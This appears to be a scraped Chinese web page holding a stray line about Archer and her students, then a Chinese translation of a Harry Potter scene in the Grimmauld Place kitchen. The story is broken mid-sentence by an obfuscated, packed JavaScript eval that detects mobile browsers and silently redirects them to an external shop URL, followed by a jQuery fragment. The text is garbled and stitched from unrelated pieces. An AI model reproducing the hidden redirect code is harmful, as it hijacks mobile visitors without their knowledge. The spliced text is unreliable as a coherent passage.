看著學生們端上來的早午餐大集合，阿切爾不禁陷入沉思，是她是豬呢還是她的那三個學生是豬？
簡簡單單一份早餐不好嗎？居然送那麼多來——浪費糧食！
“如果你們想在午夜之前吃到晚飯，就需要有人來幫我一把。”韋斯萊夫人對房間裡所有的人說，“不，你坐在那裡彆動，哈利，親愛的，你剛經過長途旅行。”
“我能做點什麼，莫麗？”唐克斯熱情洋溢地說，跳起來衝了過去。
韋斯萊夫人遲疑著，顯得心有餘悸。“嗯——不用，沒事兒，唐克斯，你也休息一會兒吧，今天你已經做了不少了。”
“不，不，我想幫幫你！”唐克斯歡快地說，匆匆奔向金妮
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156567|122282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
正在拿餐具的碗櫥，不留神撞翻了一把椅子。
很快，一套沉甸甸的刀子就在韋斯萊先生的監督下，開始自動切肉剁菜，韋斯萊夫人攪拌著一隻懸掛在火上的大鍋，其他人從食品儲藏間拿出盤子、高腳酒杯和食物。哈利陪小天狼星和蒙頓格斯留在桌邊，蒙頓格斯仍然悲哀地衝他眨巴著眼睛。
“後來又看見費格老太了嗎？”他問。
“沒有，”哈利說，“我誰也沒看見。”
“你看，我不應該離開的，”蒙頓格斯探著身子，聲音裡帶著懇求，“但我有機會做成一筆大買賣——”
哈利感到什麼東西正蹭著他的膝蓋，不禁嚇了一跳，原來是克魯克山——赫敏那隻薑黃色的羅圈腿貓，它把身體繞在哈利的腿上，呼嚕呼嚕叫著，然後一下子跳到小天狼星的膝頭，蜷做一團。
小天狼星心不在焉地撓著它的耳根，同時轉過臉來望著哈利，臉上表情仍然很沉重。
“這個夏天過得還好吧？”
“不，糟糕透了。”哈利說。
小天狼星的臉上第一次掠過一絲若有若無的笑容：“如果你知道在這裡需要經受什麼，那麼你就會發現，你真的沒有什麼可抱怨的。”
“什麼？”哈利不敢相信地說。
小天狼星譏諷地說：“聽斯內普的長篇報告，忍受他的冷嘲熱諷，似乎他冒著生命危險，出生入死，而我卻安坐在這裡，舒舒服服地混日子？他還問我大掃除搞得怎麼樣了——”
“什麼大掃除？”哈利問。
“把這個地方搞得可以住人，”小天狼星說，揮手指了指陰暗破敗的廚房，“這裡已經十年沒有人居住，自從我親愛的母親去世之後就沒人了，除非你算上她留下的家養小精靈，但那小精靈已經變得瘋瘋癲癲——好長時間沒做任何打掃了。”
“小天狼星，”蒙頓格斯說話了，他似乎根本沒注意他們在說什麼，而是在細細地端詳一隻高腳酒杯，“這是純銀的吧，夥計？”